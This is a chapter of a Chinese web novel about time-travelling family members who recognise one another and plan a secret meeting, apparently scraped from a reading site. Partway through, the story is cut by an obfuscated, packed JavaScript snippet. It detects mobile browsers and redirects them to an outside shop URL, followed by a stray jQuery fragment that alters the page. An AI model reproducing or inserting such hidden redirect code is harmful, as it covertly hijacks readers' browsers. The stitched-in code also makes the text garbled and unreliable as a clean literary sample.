“你也知道德宝?”江砚书听她语境有些不对劲,转过头来。
对方表情震惊,显然是对他知道德宝这件事非常惊讶。
“你,你,你...”陶知竹语无伦次,脑中疯狂思索着20世纪的词汇,但因太过震惊,最后只能艰难地挤出一句,“天王盖地虎?”
江砚书:............
好的。他知道了。
“好老的梗。”他无奈地摸了下自己的额头。
“回答我!”她瞪大了双眼,抬头盯着对方,脖子逐渐变红。
【拼夕夕:Lookingmyeyes!】
【陶知竹:???你干嘛?】
莫名其妙的。
【拼夕夕:没有,就是觉得你这句话配这句很合适。】
“小鸡炖蘑菇。”江砚书小声逼逼,似是对这两句口号有些不好意思,但看到陶知竹慢慢红温,还是把那句话喊了出来。
“好嘛。”她拍了下手,又笑了一下,表情有些无语,最后手肘撑在柜子上扶着自己的额头。
自己这个月和陈书时不时就出去到处找人,没想到人就在自己身边,还基本上天天呆在一起。
她深呼吸几口,调整好了自己的状态,拍了拍对方的肩膀。
“今晚别睡了。”
“啊?”
知道是同类了还威胁他?
江砚书进入警戒状态。
“不是,哎呀,你又误会什么了?”看到对方的动作,陶知竹有点想笑。
表情怪可爱的,一看就是个喜欢脑补的。
【拼夕夕:你说这话确实容易让人误会,不知道的还以为你今晚要和他对打呢。】
【唉,真的吗?】
好像确实有点。她摸摸自己的鼻头。
“不是要和你打架。”她摆摆手,“是开会啦开会。”
“开会?”他歪了歪头。
两个人说得这么高大上干嘛。
“你,我,妈,韩章。”陶知竹掰着手指头,“一起开。”
“啊?”
“还有你爸。”江砚书还没来得及震惊完,剔着牙的韩章就走进来,贼兮兮地来了一句。
“啊?”这回轮到陶知竹了。
“那我今晚就不走咯。”他挑了下眉头。
“Ok。”她愣愣地点了下头,然后张大了嘴巴,“不是,咱爸也是吗?”
“我确实怀疑过他。”江砚书在旁边补了一句。
“因为那个鸡汤?”
他点了点头,随后指着自己的脑袋,“不仅如此,他的口味也变了很多。”
“我还以为那个‘鸡汤来了’是陈书告诉他的。”陶知竹挠了挠头,“唉韩叔,你怎么知道他也是?”
“罗盘。”韩章掏出一个罗盘,“上次你那个荧光绿头发搞得闹鬼事件。”
说起这件事他还有些无语,“罗束找到我的时候那个罗盘指针就乱动,他还以为我被鬼附身了,拿着你的那个什么五帝钱疯狂砸我。”
讲到这个,陶知竹有些心虚。
“怪不得。”江砚书恍然大悟。
“怪不得什么?”
“怪不得那天罗老先生来我们家看风水的时候,那个罗盘这么不对劲。”
“是啊,那罗盘直接三百六十度大转弯了,吓死个人。”她认可道。
“你们几个,在这里干什么呢?”陈书敲了敲客厅的门,“快出来继续,还有一大堆东西没吃完呢。”
“哦,我去切个水果,你们先去吧。”陶知竹闪进厨房。
刚刚太震惊了,都还没来得及执行陈书下达的任务。
几人回到座位,叮铃哐啷地又喝了几杯。
等到天空彻底变黑,墙上的小灯亮起,几人才陆陆续续走出了江家小院的大门。
“谢谢今日的款待!”周启明一如既往的爽朗,他搭着姐姐的肩膀,两个人都笑眯眯的,像两只狐狸。
周少兰面色红润,眼神迷离,看起来头有些晕乎,姐弟俩左摇右晃的。
“你们两这行不行啊?”陈书有些担心,这俩酒量怎么这么差,他们看起来站都有些站不稳,怎么回去?
她看了眼外边的路,黑不拉几的,应该还有很多鸡屎,免不了像苏建那样踩上几脚。
“不用……担心。”两人还没有回话呢,罗束就摇摇晃晃地走了出来,喝了点小酒,脑子就变顿了,也没有这么敏感了。
他嘿嘿一笑,“我掐指一算,今日大吉!不仅所有人都平安无事,还会有好消息。”
“真的假的?你喝酒了这算的准吗?”陈书半信半疑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254302|195581||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过,今天确实有好消息,他们又找到了一个穿越者,而且都是自己家里人。
“放心吧。”韩章拿着杯子,拍了拍罗束的肩膀,竖起个大拇指,朝陈书笑了笑,“我这个徒弟虽然其他方面不咋滴,但玄学方面,我还是非常放心的。”
“行。”她挑了下眉头,“那你们一路小心啊。”
“放心。”周启明突然站直身体,敬了个礼,“我,绝对会保护好她们的……啊!”
话还没说完,他就踩到一坨鸡屎,猛地打滑。
“嗷嗷嗷嗷。”
因为入伍当过兵,所以凭借着超强的核心肌群,他最终没有摔倒。
只是整个人都给滑清醒了。
“嗯?”他眼神都清明了,挠了挠头。
“哈哈哈哈哈哈哈哈哈哈。”陶知竹一到门口,就看了这一幕,笑得腰都直不起来了,“就你这样,还怎么保护她们?”
“哎哟,没事没事。”赵姐也乐呵呵地笑着,“来,姐保护你。”
“现在不会了!”周启明直接红温,跺了跺脚。
“行了行了,快回去吧。”陈书无奈地摇了摇头,“再晚点就更危险了。”
“会有鬼吗?”周少兰冒了一句。
“放心,有也不怕。”罗束拿出了打韩章的那串五帝钱,“咻咻咻”地在空中挥舞几下,“有了这个,我看谁敢来犯!”
“嗷嗷嗷!”他还在挥着,脑壳就被人打了。
罗束默默将五帝钱收了起来。
因为打他的是师父。
自己就是用这串五帝钱打的师父。
“那我们先走了。”赵姐朝大家挥了挥手。
“拜拜,小心安全啊大家。”陈书喊道。
随着最后一人的身影没入夜色深处,江家小院的大门缓缓合拢。
门缝里透出的最后一道光被黑暗吞噬。
院子里一片死寂,只有树上的枝叶在夜风中沙沙作响,月光穿过云层,在外面的桌板上撒下一点暗光。
忽然,江砚书卧室的窗户上隐约透出一团昏黄的光晕。
屋里传来轻微的响声,像是谁在挪动着桌椅,还有压得极低的咳嗽声。
最后,几道模糊的身影映在窗帘上。
今夜,一场秘密会议开始了。